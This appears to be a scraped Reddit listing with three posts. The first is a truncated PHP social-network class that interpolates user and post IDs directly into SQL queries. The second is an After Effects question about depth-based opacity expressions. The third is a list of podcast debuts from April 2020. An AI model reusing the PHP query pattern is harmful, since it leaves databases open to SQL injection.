"; } echo $str; } public function getSinglePost($post_id) { $userLoggedIn = $this->user_obj->getUsername(); $opened_query = mysqli_query($this->con, "UPDATE notifications SET opened='yes' WHERE user_to='$userLoggedIn' AND link LIKE '%=$post_id'"); $str = ""; //String to return $data_query = mysqli_query($this->con, "SELECT * FROM posts WHERE deleted='no' AND id='$post_id'"); if(mysqli_num_rows($data_query) > 0) { $row = mysqli_fetch_array($data_query); $id = $row['id']; $body = $row['body']; $added_by = $row['added_by']; $date_time = $row['date_added']; //Prepare user_to string so it can be included even if not posted to a user if($row['user_to'] == "none") { $user_to = ""; } else { $user_to_obj = new User($this->con, $row['user_to']); $user_to_name = $user_to_obj->getFirstAndLastName(); $user_to = "to " . $user_to_name . ""; } //Check if user who posted, has their account closed $added_by_obj = new User($this->con, $added_by); if($added_by_obj->isClosed()) { return; } $user_logged_obj = new User($this->con, $userLoggedIn); if($user_logged_obj->isFriend($added_by)){ if($userLoggedIn == $added_by) $delete_button = ""; else $delete_button = ""; $user_details_query = mysqli_query($this->con, "SELECT first_name, last_name, profile_pic FROM users WHERE username='$added_by'"); $user_row = mysqli_fetch_array($user_details_query); $first_name = $user_row['first_name']; $last_name = $user_row['last_name']; $profile_pic = $user_row['profile_pic']; ?> con, "SELECT * FROM comments WHERE post_id='$id'"); $comments_check_num = mysqli_num_rows($comments_check); //Timeframe $date_time_now = date("Y-m-d H:i:s"); $start_date = new DateTime($date_time); //Time of post $end_date = new DateTime($date_time_now); //Current time $interval = $start_date->diff($end_date); //Difference between dates if($interval->y >= 1) { if($interval == 1) $time_message = $interval->y . " year ago"; //1 year ago else $time_message = $interval->y . " years ago"; //1+ year ago } else if ($interval-> m >= 1) { if($interval->d == 0) { $days = " ago"; } else if($interval->d == 1) { $days = $interval->d . " day ago"; } else { $days = $interval->d . " days ago"; } if($interval->m == 1) { $time_message = $interval->m . " month". $days; } else { $time_message = $interval->m . " months". $days; } } else if($interval->d >= 1) { if($interval->d == 1) { $time_message = "Yesterday"; } else { $time_message = $interval->d . " days ago"; } } else if($interval->h >= 1) { if($interval->h == 1) { $time_message = $interval->h . " hour ago"; } else { $time_message = $interval->h . " hours ago"; } } else if($interval->i >= 1) { if($interval->i == 1) { $time_message = $interval->i . " minute ago"; } else { $time_message = $interval->i . " minutes ago"; } } else { if($interval->s < 30) { $time_message = "Just now"; } else { $time_message = $interval->s . " seconds ago"; } } $str .= "
$first_name $last_name $user_to     $time_message $delete_button
$body

Comments($comments_check_num)   

"; ?> "; return; } } else { echo "No post found! Link may be broken.
"; return; } echo $str; } } ?>
submitted by KingofMgtow to learnjavascript [link] [comments]


2020.05.04 18:01 Akoustyk If anyone can help me understand this I'd appreciate it

The following quoted text was copied from this web page:
https://forums.creativecow.net/docs/forums/post.php?forumid=227&postid=429&univpostid=429&pview=t
Hey there,
is there a possibility of applying a z-depth matte to a layer or a group of layers? or is there a way of writing an expression, so that layers that respond to a null object loose transparency the further 'z' they move?
Reply To This Post Post 2 of 3
Name: Filip Vandueren Date: Sep 21, 2004 at 2:53 am Subject: Re: z-depth matte
min_distance=100; // closer than this, opacity will be 100% max_distance=10000; // from this distance, opacity will be 0%
n=this_comp.layer("Null"); // name of your reference null (or the camera) d=length(to_world(anchor_point), n.to_world(anchor_point));
ease(d, min_distance, max_distance, 100, 0)
Warning: this works in all dimensions, not just Z, so if your Null is quite far away from the camera, layers will also fade if they're moving forward in Z, but away from the null. I would suggest putting the null close to the camera and increasing the min_distance
You could also apply a "Tint"-filter with both colors set to black, and copy this expression to "Amount". Change the last line to ease(d, min_distance, max_distance, 0, 100) This way, the layer will become black instead of transparant.
Reply To This Post View Parent Post
Post 3 of 3
Name: dina saleem Date: Sep 21, 2004 at 6:20 am Subject: Re: z-depth matte
allright...
that worked well...
I also tried out this expression:
( (thisComp.layer("nullobject").position.key(2)[2]-thisComp.layer("nullobject").position[2]) / (thisComp.layer("nullobject").position.key(2)[2]-thisComp.layer("nullobject").position.key(1)[2]) ) * 100
applied to the transparency of my layer, so it will fade between the two position keyframes I set on my null object.... in that way I could still edit my keyframes and the null could be positioned wherever I want it to... (a friend of mine figured that out) ;)
I have a large number of 3D objects I would like to fade off in the distance, and I'd like them to all fade out at the same depth.
I'm not that advanced at after effects though. I know my way around decently well, but not so much when it comes to scripting, so I don't fully understand how to insert these bits of script.
I'm assuming I need to add an expression to the opacity of the layer I want to fade, and I need a null object for relative distance, but I'm a little lost after that.
submitted by Akoustyk to AfterEffects [link] [comments]


2020.04.30 11:29 thecambridgegeek Audio Drama/Fiction/RPG Debuts - April 2020

I've got what I think is a mostly exhaustive list of the new audio series that came out this month, which may be of interest to those looking for new shows. See below. Anyone want to tell me any I've missed, and I'll update it? (Note, "new" here means that the Ep1 of the RSS feed was released, or a previously non-fiction feed started producing fiction.) Listened to any of them that you would recommend?
4/1: Quarantine Quest (RPG - Fantasy)
Site: https://twitter.com/southwellstylez
Synopsis: Hi. I'm Cameron Southwell. I am not a real person. This is not a real podcast. Quarantine Quest tells the story of a world on lock-down, where tiny isolated communities have been encapsulated in their own pockets of reality causing them to diverge from what was once recognized as reality, and of the overseers who try in vain to keep this system intact despite its inevitable failure. Quarantine Quest also tells my story, as the author, as I try to put this together and reach out from the isolation of disability and social anxiety to share what I've been working on. Think of this as spoken word concept album trying to both tell a story and make a point. There are two kinds of episodes: A Sides to cover the main body of work and B Sides. A Sides are longer episodes of about an hour, released monthly, in which I tell a story about the world of Quarantine Quest. Usually they will be created using a game or specific writing technique. The episodes will function as individual songs or stories that weave together to create the larger fabric of the plot and themes of the world of Quarantine Quest. They will also often function as actual plays or demonstrations of whatever game or technique I am using. B Sides are shorter episodes, released haphazardly, usually 10-15 minutes long and represent divergence from the narrative. Some will be readings from across the universe, some will be thoughts from my tiny hidey hole, some will be commentary or discussion of the ongoing narrative. If I get questions, these will also be Q&As eventually. They will also probably discuss writing and coping in isolation. I'm Cameron Southwell. I'm not a real person. This is not a real podcast. Thank you for listening.
RSS Feed: https://pinecast.com/feed/quarantine-quest

4/1: Roll Charisma (RPG - Urban fantasy)
Site: https://roll-charisma.simplecast.com/
Synopsis: A fun actual play storytelling podcast for shameless nerds. Our current campaign, Moonlighters, is about fixers for hire in New York's secret supernatural community. Think a mash-up of shows like Stranger Things, The Wire, and Broad City, and you'll have a pretty good idea of what to expect from us.
RSS Feed: https://feeds.simplecast.com/NcTmCsic

4/1: Strnge Trns.mssns from the Retrofuture (Dramatised - Science fiction)
Site: https://feeds.buzzsprout.com/953683.rss
Synopsis: Strnge Trns.mssns from the Retrofuture is a linear fictional audio drama formed in style by a love of the radio dramas of old. With a combination of 'found footage' and narration, it catalogues an adventure that begins in the year 2117, and expounds upon the integrated backstory of our business, Antimtr.
RSS Feed: https://feeds.buzzsprout.com/953683.rss

4/1: The Anansi Chronicles (Fiction - Fantasy)
Site: http://www.buzzsprout.com/975358
Synopsis: Narrated by History itself, the Anansi Chronicles tells the forgotten stories of the supernatural creatures brought to the ‘New World’ as a result of the awful slave trade. It is an Afro-centric fantastical history.
RSS Feed: https://feeds.buzzsprout.com/975358.rss

4/2: Ignore City (Dramatised - Musical)
Site: https://www.youtube.com/playlist?list=PLhdLAJVe\_bs5-Shz\_U4Gn63s7aMgCQMW5
Synopsis: Ignore City' is an audio drama rock musical with original songs by The Shake Ups! In a post-apocalyptic future where technology has been outlawed, Deban Rimpa, a scrappy bike messenger, befriends a sentient robot head named Saner 0805. She embarks on an intrepid adventure through Ignore City to save civilization before government agents catch up with her.

4/2: Malice Corp (RPG - Fantasy)
Site: http://malice-corp.com/
Synopsis: Some of your Malice Cast favorites and some new friends come together to play some of your favorite table top RPGs. Series 1 - The DeVecna Code.
RSS Feed: http://malice-corp.com/feed/malice_corp_actual_play/

4/2: Neurominded Presents (Dramatised - Science fiction)
Site: https://neuromindedpresents.podbean.com
Synopsis: A cosmic anthology of series and one offs.
RSS Feed: https://feed.podbean.com/neuromindedpresents/feed.xml

4/2: The Odyssey (Dramatised - Adaptation)
Site: https://www.weplayers.org/odyssey-audio-drama
Synopsis: Welcome aboard The Odyssey Audio Drama! We Players originally performed The Odyssey in late 2011, voyaging with our audiences in the waters of San Francisco Bay aboard the historic scow schooner Alma. We sailed past the sirens, we anchored off Angel Island, we feasted on cheese and olives and bread aboard the ship, we sang sea chanteys, and we awakened the muse of these ancient tales! Here on our virtual ocean, imagine that salt spray and sea breeze, the splash of the waves against the wooden hull and the creaks and groans of the rigging. The voyage begins again.
RSS Feed: http://www.weplayers.org/odyssey-audio-drama-episodes?format=rss

4/3: The Mistholme Museum of Mystery, Morbidity, and Mortality (Dramatised - Urban fantasy)
Site: https://thatsnotcanon.com/themistholmemuseumpodcast/
Synopsis: Hello, and welcome to the Mistholme Museum of Mystery, Morbidity, and Mortality. This Audio Tour Guide is aware that this is your first visit to the museum! On behalf of the Museum: Welcome! It’s a pleasure to have you with us here today. The Audio Tour Guide will be your window into the history of the museum and its exhibits today. If you would like an introduction to how the museum works, please continue breathing normally. Fantastic!
RSS Feed: https://thatsnotcanon.com/themistholmemuseumpodcast?format=rss

4/4: Earth Under Gold (Dramatised - Science fiction)
Site: http://earthundergold.com/
Synopsis: A sci-fi audio drama brewed for the end times, Earth under Gold follows several unlucky humans through the final days of the Golden occupation. In 2033, the Golden -- an alien force composed of six gargantuan birdlike beings -- descended from the heavens and promptly decimated our species. After the slaughter, the Golden corralled the survivors into sprawling refugee camps. Flash forward fifty years -- those camps are now thriving city-states, the leaders of which are eager to assert dominance in a newly opened world. As the Golden begin their exodus, the human race ambles toward a familiar crossroads. Can it find a new way? Will our species free itself from its torturous patterns?
RSS Feed: https://earthundergold.libsyn.com/rss

4/4: McKinney Can't Write (Fiction - Anthology)
Site: https://anchor.fm/mckinneycantwrite/
Synopsis: So just what is McKinney Can't Write? It's a mess, to be honest, but a fun one. It's a place where you can find science fiction audio dramas one week or urban fantasy serials the next. It's a place to dip a toe, or dunk a head, into strange tales. More than anything, it's a place to take a break from reality. Not forever, but a little, at least. So why not hit play and check out what McKinney Can't Write has to offer.
RSS Feed: https://anchor.fm/s/1b74ab74/podcast/rss

4/4: Through These Eyes (Fiction - Anthology)
Site: https://audioboom.com/channels/5020037
Synopsis: Through These Eyes is a monthly, bite-sized audio drama featuring various short-story fiction. From thrillers to horror to everything in-between, we aim to make your drive home just a little bit better.
RSS Feed: https://audioboom.com/channels/5020037.rss

4/5: Ben and Sophie: Woby's Secret (Dramatised - Children)
Site: https://www.spokenmovieproject.com/
Synopsis: "Ben and Sophie - Woby's Secret" is the story of two third-graders skilled at investigating all the secrets their world holds.
RSS Feed: https://feeds.captivate.fm/spokenmovieproject-benandsophie/

4/5: Margaret Moves to Mars (Dramatised - Comedy)
Site: https://play.acast.com/s/margaret-moves-to-mars
Synopsis: A fictional sci-fi/comedy about a girl named Margaret, who after a bad break-up moves to the Australian colony on Mars hoping for a fresh start. Upon arrival she quickly realises that Mars isn’t all it’s cracked up to be. The air’s a bit thin, the water’s a bit dry and the only food is potato. But with no desire to head home, Margaret makes the most of a bad situation gaining a job as the Chief Advisor for the highly inept Mayor of Mars.
RSS Feed: https://rss.acast.com/margaret-moves-to-mars

4/5: Omegaman (Dramatised - Superhero)
Site: https://omegamanpodcast.com/
Synopsis: Omegaman is set in an alternate reality of the United States where in 2008, a real life superhero appeared: Omegaman. The story begins in 2019 centered on a reporter visiting a prison specially designed to house supervillains. Her assignment? To interview some of the more prominent villains (some super powered and some not) about their first encounters with Omegaman, in search of uncovering a secret conspiracy.
RSS Feed: https://feeds.captivate.fm/omegaman/

4/5: Sick and Twisted Stories - Dark Tales from the 21st Century (Fiction - Horror)
Site: https://anchor.fm/james-m2
Synopsis: Drawing inspiration from the Twilight Zone and Black Mirror, Sick and Twisted Stories offers a series of dark, disturbing, and tragic tales about the darker side of life in the 21st Century.
RSS Feed: https://anchor.fm/s/166e7718/podcast/rss

4/5: StoneKeep (Dramatised - Thriller)
Site: https://stonekeeppodcast.podbean.com
Synopsis: When Caleb accompanies his father to work at the CDC, he thinks his dad has a pretty boring job. But when the alarm goes off and the facility goes into lock down, he learns that first impressions can be deceiving.
RSS Feed: https://feed.podbean.com/stonekeeppodcast/feed.xml

4/5: The Ponith Series (Fiction - Fantasy)
Site: https://theponithseries.buzzsprout.com/892135
Synopsis: The Ponith Series Podcast - A YA Fantasy storytelling novel series. Follow along with the story series that has portals, magic, fantasy creatures, fighting, love, and much more.
RSS Feed: https://feeds.buzzsprout.com/892135.rss

4/5: Wombwell Thespians (Dramatised - Slice of life)
Site: https://anchor.fm/wombwell-thespians/
Synopsis: Amongst other things this will contain radio play style audio performances produced by members of the Wombwell Thespians Amateur Dramatics Society.
RSS Feed: https://anchor.fm/s/1a870b6c/podcast/rss

4/6: A Place Called Fairneck (Dramatised - Comedy)
Site: https://www.fairneckpodcast.com/
Synopsis: A clever teenage journalist comically recounts the events that lead to a beloved member of her community tragically dying in a freak, plague-related accident the week before Passover. Think Sliding Doors in a modern orthodox North Jersey community.
RSS Feed: https://aplacecalledfairneck.libsyn.com/aplacecalledfairneck

4/6: Conversations (Dramatised - Slice of life)
Site: https://www.facebook.com/OJ-Scriptwriting-106185034262166/
Synopsis: Several groups of people having dinner discuss their issues and wonders. They are unaware of how their conversations affect those around them.
RSS Feed: https://feeds.buzzsprout.com/912418.rss

4/6: I Want Everything (Dramatised - Comedy)
Site: http://www.buzzsprout.com/963307
Synopsis: I Want Everything is a six-part, full cast dramatisation comedy drama by Tom Manly. Two young strangers appear in a dimensionless void. They learn from their unwilling and flatulent guide that they have been summoned to undertake The Bidding. The Bidding is a difficult, no, nearly impossible task. The most likely outcome for the summoned is death ... but completing The Bidding is their only way home. What is the curious purpose of these quests? Who are the mysterious Stewards who oversee the process? What ancient prophesies drive a conflict that threatens to engulf our heroes and the vast Hachne Empire? What happens when a Giant meets a social influencer and why does everyone dream that someone else has taken their spoon!?
RSS Feed: https://feeds.buzzsprout.com/963307.rss

4/6: JWF: Monday Night Ignition (Dramatised - Comedy)
Site: https://jwfignition.captivate.fm/
Synopsis: JWF: Monday Night Ignition is the only place where you can see the storylines and storylines of Birmingham, Alabama's premier wrestling organization, the JWF! Founded by Captain Tibbs in 19??, the JWF features some of the greatest stars of tomorrow, but today! From the Hammer Man to The Lumberjack, JWF features some of the hottest talent that the Yellowhammer State has to offer!
RSS Feed: https://feeds.captivate.fm/jwfignition/

4/6: Light Hearts (Dramatised - Comedy)
Site: https://lightheartspod.carrd.co/
Synopsis: Running a business is hard. Running a business alone in an old, haunted building is even harder. Janine didn’t know what she was getting herself into when she opened Prism - but with the help of Ryan (an astronomy professor with a useful knack) and Kale (an artist with a mind for marketing), she manages to stay aloft. Light Hearts follows the daily shenanigans of serving Prism’s customers, solving strange problems, and wrangling the occasional unexpected patron.
RSS Feed: https://pinecast.com/feed/light-hearts

4/6: Pete's Paranormal Universe (Dramatised - Comedy)
Site: http://www.ckmombourquette.com/ppu/
Synopsis: Stranded in the distant world of tomorrow, Pete Schwartz struggles on, exploring the convoluted secrets of…PETE’S PARANORMAL UNIVERSE - where the paranormal is normal.
RSS Feed: http://ckmombourquette.squarespace.com/ppu?format=rss

4/6: What Comes After (RPG - Post-apocalypse)
Site: https://anchor.fm/whatcomesafter
Synopsis: The world as we know it ended in the mid 1980s, when billions of people died at once. 5 years later, 4 survivors discover that everything is about to change again. A Genesys RPG Actual Play Podcast.
RSS Feed: https://anchor.fm/s/13d35014/podcast/rss

4/7: Almost Heroes (RPG - Fantasy)
Site: https://www.dungeonsco.com/podcast/
Synopsis: A “mostly” 5th Edition D&D Story.
RSS Feed: https://www.dungeonsco.com/podcast?format=rss

4/7: Bleach (Dramatised - Thriller)
Site: https://www.danirelandreeves.co.uk/bleachpodplay
Synopsis: Adapted from the award-winning stage play; Bleach is a story of sex, violence and city-living. Tyler Everett sells his body to hungry punters on a nightly basis. But on a regular working night, things are about to spiral out of control leaving Tyler questioning whether living in London is really worth the price of rent.
RSS Feed: https://feeds.buzzsprout.com/991045.rss

4/7: Covid39 (Dramatised - Science fiction)
Site: https://thesevensages.com/covid39
Synopsis: Twenty years after Covid-19 brought the world to a standstill, a man and a woman who were quarantined together as kids question the validity of their current romantic relationship. They salvage audio recordings left by their parents during the pandemic, our present, to come to terms with their trauma. This is a fictional audio drama that points out the humanity of our fateful present and examines the future we are helping to create for our children.
RSS Feed: http://thesevensages.com/covid39?format=rss

4/7: Null/Void (Dramatised - Science fiction)
Site: https://pocpodcasting.wixsite.com/pocpn/nullvoid
Synopsis: Null/Void is a science fiction audio drama about a young woman, Piper Lee, whose life is saved by a mysterious voice named Adelaide. Piper soon uncovers a malicious plot by a monopoly of a tech company and must work with her friends and an unusual ally to help foil their deadly plot.
RSS Feed: https://pinecast.com/feed/null-void

4/7: October by May (Fiction - Anthology)
Site: https://octoberbymay.podbean.com/
Synopsis: October by May is a narrative fiction podcast that envelops you in a three-dimensional soundscape of ominous occurrences and eerie tales, transporting you to that most unearthly time of year.
RSS Feed: https://feed.podbean.com/octoberbymay/feed.xml

4/8: Desperado (Dramatised - Urban fantasy)
Site: https://www.buzzsprout.com/963982
Synopsis: Blood magic, Voodoo magic, old gods, new gods: We've got it all! Follow the story of misfits from all over the world, as they try to survive and protect their heritage from modern-day crusaders.
RSS Feed: https://feeds.buzzsprout.com/963982.rss

4/8: Merchant of Death (Dramatised - Historical)
Site: https://anchor.fm/joshua-belmonte
Synopsis: A WW2 veteran returns home and finds no employment opportunities. During a chance encounter, he is given an opportunity and becomes a hitman for a Kansas City crime family.
RSS Feed: https://anchor.fm/s/1c1882d0/podcast/rss

4/8: Neural Nexus: Zero (RPG - Cyberpunk)
Site: https://howinerd.com/category/neural-nexus-zero/
Synopsis: Boston 1980, A neon metropolis that stands in stark contrast to the harshness of life within the hub. Maybe not as hard as it is for the low-techs who survive outside the graces of the cities protection but living in this city brings with it its own set of challenges. Unemployment, lack of education, corrupt police, organized and street crime as well as the overall Orwellian feel of systems put in place to keep the average citizen from advancing in life. Come along with our misfits as they struggle through the day to day of modern life in this gritty nightmare.
RSS Feed: http://neuralnexuszero.libsyn.com/rss

4/9: PRøDUCTS & PLäCEMENTS (RPG - Fantasy)
Site: http://soundcloud.com/ninjahell-0451/sets/products-plaecements-an
Synopsis: PRøDUCTS & PLäCEMENTS is an official, Melsonian Arts Counsel approved, Troika Actual Play podcast dedicated to showcasing and promoting the 3rd party content that makes this game great! Join the former 90s college students turned fantasy adventurers as they participate in this tongue-and-cheek ploy to showcase and promote as many third-party Troika! creators and their content as possible, to inspire you to check out the game, buy some content, and get rollin' those dice!
RSS Feed: http://feeds.soundcloud.com/playlists/soundcloud:playlists:1029190186/sounds.rss

4/9: Soundstage (Dramatised - Anthology)
Site: https://www.playwrightshorizons.org/soundstage/
Synopsis: Soundstage is an anthological, scripted fiction series of portable stories from Playwrights Horizons theater in New York City. Featuring short-form commissions from America’s best playwrights, these audio experiences are written specifically for the ear, not translated or recorded live from the stage. Now, the theater is wherever you are.
RSS Feed: https://www.spreaker.com/show/4269006/episodes/feed

4/9: WonderCop (Dramatised - Comedy)
Site: https://soundcloud.com/user-958306016
Synopsis: WonderCop is a semi-scripted podcast created by comedians Matt Klinman (The Onion, Smartr), Zack Poitras (The Tonight Show) and Dan Abramson (The Last Degree Of Kevin Bacon). It follows alcoholic Detective Daryl Dern and his new robotic partner WonderCop as they try to keep the town of Gristleberg, USA safe from crime.
RSS Feed: https://feeds.soundcloud.com/users/soundcloud:users:806852179/sounds.rss

4/10: Façade (RPG - Urban fantasy)
Site: https://www.tablestory.tv/series/facade/
Synopsis: We are surrounded by the faceless masses. If we ever stopped to look, we might notice the cracks in our existence. Will you see through the Facade? Join our cast of roleplayers in the setting of KULT: Divinity Lost for an 18+, occult detective tabletop roleplaying game show.
RSS Feed: https://www.tablestory.tv/series/facade/feed/

4/10: Friends Through the Letterbox (Dramatised - Comedy)
Site: https://www.spreaker.com/show/friends-through-the-letterbox\_1
Synopsis: Dan Jones and Craven Windlescrape discuss a strange portal that's connecting Dan's letterbox to a whole new world of mystery.
RSS Feed: https://www.spreaker.com/show/4078407/episodes/feed

4/10: Last Call at Bluebell Cafe (Dramatised - Fantasy)
Site: https://lastcallatbluebellcafe.podbean.com/
Synopsis: Last Call at Bluebell Cafe is a fantasy audio drama about a shapeshifting Barista who is a little too interested in other people's lives. The Barista runs the transient Bluebell Cafe, where customers can get more than just coffee. Many of the wanderers who find themselves stumbling upon this hidden cafe in dusky hours are at a crossroads in their life. Who better than our Barista to guide them along their path? With a little help from magic, of course.However, magic and people are both unpredictable; there's a reason why they don't mix, as the Barista will soon discover.
RSS Feed: https://feed.podbean.com/lastcallatbluebellcafe/feed.xml

4/10: The Ernie Pyle Experiment! (Dramatised - Comedy)
Site: https://indianapublicmedia.org/erniepylepodcast/
Synopsis: A thirteen-episode podcast from WFIU Public Radio chronicling Ernie Pyle's pre-war work as a travelling columnist for the Scripps-Howard Newspaper syndicate.
RSS Feed: https://indianapublicmedia.org/erniepylepodcast/feed.xml.php

4/10: The Fowler Family Radio Hour (Dramatised - Comedy)
Site: https://www.facebook.com/thefowlerfamilyradiohou
Synopsis: "The Fowler Family Radio Hour" features down-home songs and commercials, the latest episode of the soap opera "Holly Springs Eternal," and plenty of local color from the fictional southern town of Henley.
RSS Feed: https://feeds.transistor.fm/the-fowler-family-radio-hour

4/10: The Mirage Barrage (Fiction - Superhero)
Site: https://www.buzzsprout.com/980926
Synopsis: In the Mirage Universe, a great being from another dimension sleeps within the core of the Earth. So powerful is he that even his dreams can grant individuals extraordinary powers- super powers! Tales of superheroes, supervillains, secret agents, inter-dimensional travelers and a myriad of other characters will unfurl in this- the Mirage Barrage! Expect excitement, intrigue, action, mystery and more! No tale is too big or too small for the Mirage Universe!
RSS Feed: https://feeds.buzzsprout.com/980926.rss

4/11: Are You Sitting Comfortably? (Fiction - Horror)
Site: https://www.buzzsprout.com/1000771
Synopsis: If you like horror stories, you'll want to listen to mine... I'll be reading out the short stories I've written, as well as chapters of my novels. I hope you like them!
RSS Feed: https://feeds.buzzsprout.com/1000771.rss

4/11: Roads Uncharted (RPG - Fantasy)
Site: https://roads-uncharted.simplecast.com/
Synopsis: Roads Uncharted is an actual play podcast using the Genesys RPG system, set in a homebrew fantasy world. The story takes place shortly after thousands of children suddenly went missing on the eve of a festival. Join the players and GM Dax as they try to solve this mystery and find their place in a world where gods meddle in the lives of mortals.
RSS Feed: https://feeds.simplecast.com/FVjUsTA8

4/12: Sincerely, B (Fiction - Crime/Mystery)
Site: http://sincerelyb.libsyn.com/
Synopsis: I've discovered odd letters addressed to my house. They tell a story of someone I know only as "B." B has, apparently, started a new life, buying a home with the intent to renovate. But things are odd in B's new town. And maybe a bit dangerous too.
RSS Feed: http://sincerelyb.libsyn.com/rss

4/13: Dice Therapy (RPG - Fantasy)
Site: https://dicetherapyap.pinecast.co/
Synopsis: Your inoculation against the mundane via Actual Play recordings of Tabletop RPG sessions.
RSS Feed: https://pinecast.com/feed/dicetherapyap

4/13: Liquid Picnic Audio Dramas (Dramatised - Anthology)
Site: https://soundcloud.com/user-818973058
Synopsis: Podcast by Liquid Picnic Production.
RSS Feed: https://feeds.soundcloud.com/users/soundcloud:users:779196667/sounds.rss

4/13: Lottie's Diary (Fiction - Historical)
Site: https://anchor.fm/lottie-fisher
Synopsis: Lottie’s 1930 diary showed up years ago in a jumble sale in the south of England. Written in a Collins’ Royal Diary, it’s the story of a young woman from North London. A story of English privilege between the wars. Each episode brings another month from Lottie's 1930 life. Some things are familiar; at other time she inhabits another world.
RSS Feed: https://anchor.fm/s/1cbb6fcc/podcast/rss

4/13: Tales of Zendaria (Fiction - Fantasy)
Site: https://anchor.fm/talesofzendaria
Synopsis: Tales of Zendaria is a Young Adult fantasy-fiction audiobook, which chronicles the adventures of reluctant Princess April and her canine companion Willow through the ancient Kingdom of Zendaria. Magic, mystery and mirth await! Written and narrated by Alexander Worth.
RSS Feed: https://anchor.fm/s/1c328504/podcast/rss

4/13: The Time Pirate (Dramatised - Fantasy)
Site: https://beta.prx.org/series/39124
Synopsis: James Hawkins helps his mom run a motel in modern day Montauk, Long Island. But when a mysterious man washes up on the beach with a treasure map tattooed on his chest, James discovers that Billy Bones is, in fact, a time traveling pirate from the 18th century. James and his new friends, Morgan and Max, follow the map right into a magical portal that leads them back nearly three hundred years and back into a swashbuckling adventure.
RSS Feed: http://feeds.bestrobotever.com/TheTimePirate

4/13: Today's Life (Dramatised - Slice of life)
Site: https://today-s-life.pinecast.co
Synopsis: A episodic serial that tells the story of a couple dealing with the troubles of Today's Life.
RSS Feed: https://pinecast.com/feed/today-s-life

4/14: Academy Days: Christian Fiction for Teen Girls (Fiction - Slice of life)
Site: http://www.buzzsprout.com/795173
Synopsis: Academy Days is a fiction serial podcast for teenage girls. The Christian high school story follows four girls as they navigate school, family, friends, and the choices that each day brings. Carmen, London, Ebony, and Lacey differ in personality, but life in a small Christian school brings them together as each one grows closer to God.
RSS Feed: https://feeds.buzzsprout.com/795173.rss

4/14: God of Obsidian (Dramatised - Thriller)
Site: https://god-of-obsidian.simplecast.com/
Synopsis: God Of Obsidian is a dark fairytale about a gaslighting relationship, as one woman desperately seeks the story that will take her back across the narrow, dangerous bridge to freedom.
RSS Feed: https://feeds.simplecast.com/1Bpis_CB

4/14: Heroics (Dramatised - Superhero)
Site: https://www.planetm.io/heroics/
Synopsis: When their comic-shop-as-a-front beings to struggle, a group of superheroes experiment with different career paths a little more... villainous than heroic. A new audiodrama from Justin McLachlan and PlanetM.
RSS Feed: http://feeds.backtracks.fm/feeds/planetm/heroics/feed.xml?1586972899

4/14: Moon Harbor Extended (RPG - Science fiction)
Site: https://www.icynewyear.com/moon-harbor-extended/
Synopsis: Moon Harbor Heroes and the Icynewyear Presents Network are proud to present Moon Harbor Extended, a continuation of the Masks: A New Generation Actual Play Moon Harbor Heroes. Moon Harbor Extended tells the stories of characters outside of Faces and Cataclysm Crew and takes us from the center of the earth to the far depths of space. There are two primary lines in this extended universe comic series. The first is a cosmic line focusing on a SABRE-sponsored space-exploration unit as they try to save the world from utter destruction, GMed by Anthony Sheets. The second is an unnamed earthbound team of all queer characters, played by all LGBTQIA+ players, who navigate Moon Harbor’s more underground secrets, including the renaissance-themed society of rat people living in the sewers.
RSS Feed: https://www.icynewyear.com/moon-harbor-extended?format=rss

4/14: Next Stop (Dramatised - Comedy)
Site: https://www.nextstopshow.com/
Synopsis: Your friends are moving on. You're figuring out how to move forward. NEXT STOP is an audio sitcom about your mid-to-late 20s when everyone is changing around you—and you worry that you might not catch up. When longtime roommates Cam and Ally search for someone to replace their newly engaged former roommate, they stumble upon the iconoclast and ridiculous Samuel Clemens. Across its ten-episode first season, NEXT STOP follows these roommates’ trials through work, relationships, friendships and more.
RSS Feed: https://feeds.megaphone.fm/nextstop

4/14: Rage of Nerds (RPG - Fantasy)
Site: https://rageofnerds.podbean.com
Synopsis: Captured by the Drow and trapped in the Underdark, how will this crew of adventurer's find their way back to the surface world? Tune in to find out!
RSS Feed: https://feed.podbean.com/rageofnerds/feed.xml

4/14: Tales from the Aether (Dramatised - Fantasy)
Site: https://anchor.fm/talesfromtheaether
Synopsis: Original fairy tales for the modern day world. Tales From The Aether is an anthology series written by 3x award-winning writer, Jackie Jorgenson, which tells a different three part story each season.
RSS Feed: https://anchor.fm/s/b4908f8/podcast/rss

4/14: The Nonbinary Carrie Bradshaw (Dramatised - Slice of life)
Site: https://www.joshuabyron.com/
Synopsis: The Nonbinary Carrie Bradshaw is a fiction podcast about four queer and trans friends dating, crying, and waiting for the subway in New York City.
RSS Feed: https://anchor.fm/s/157b0dd0/podcast/rss

4/14: The Villes (Fiction - Children)
Site: http://www.thevilles.com/podcast-2/
Synopsis: The Villes - A series of whimsical illustrated children's stories aimed at 6 to 10 year olds, written by BBC TV Property expert Martin Roberts from Homes under the Hammer. From Tiredsville and Windyville, to Coldsville and Boredsville, the Magical bus takes Herman and the reader on a journey of fun and intrigue.
RSS Feed: https://feeds.buzzsprout.com/1011739.rss

4/15: Adelyne's Apothecary (Fiction - Historical)
Site: https://www.adelynesapothecary.com/
Synopsis: Adelyne’s Apothecary is a fiction podcast exploring the world of folk herbalist Adelyne Hutcheson. Adelyne’s storytelling takes us deep into the hills of Northern Appalachia where we meet her eccentric neighbors, family, and dearest plant friends.
RSS Feed: https://feeds.transistor.fm/adelynes-apothecary

4/15: Dusk and Dawn (RPG - Fantasy)
Site: http://www.buzzsprout.com/1014709
Synopsis: A Real Play Dnd Podcast following the adventures of Marek, Cinthia, Duna, and Mari as they fight to discover what's really happening in the Whiskey Republic.
RSS Feed: https://feeds.buzzsprout.com/1014709.rss

4/15: Joao Nsita (Fiction - Slice of life)
Site: https://anchor.fm/joao-nsita
Synopsis: This is the Joao Nsita podcast, a podcast channel dedicated to exploring the delightfully strange worlds of love through drama and comedy.
RSS Feed: https://anchor.fm/s/e6f030c/podcast/rss

4/15: MILKTEA (Fiction - Science fiction)
Site: https://www.snakble.com/podcast
Synopsis: Nate is a clone without any memories of his previous life. “The Key” is the queen of an ice planet he’s just crash landed on. “Father” is his robot, the only parent Nate has ever known. Traverse a 1000 years to uncover the mystery of who Nate and the Key are and what they mean to each other.
RSS Feed: https://feeds.captivate.fm/milktea/

4/15: North Star Rising (Fiction - Science fiction)
Site: https://www.northstarcrew.com/
Synopsis: Two humans find themselves on a space adventure in this six part audiobook, from the writer of Thomas Was Alone and Subsurface Circular.
RSS Feed: https://northstarcrew.libsyn.com/rss

4/15: Reroll Expectations (RPG - Fantasy)
Site: https://twitter.com/RerollCast
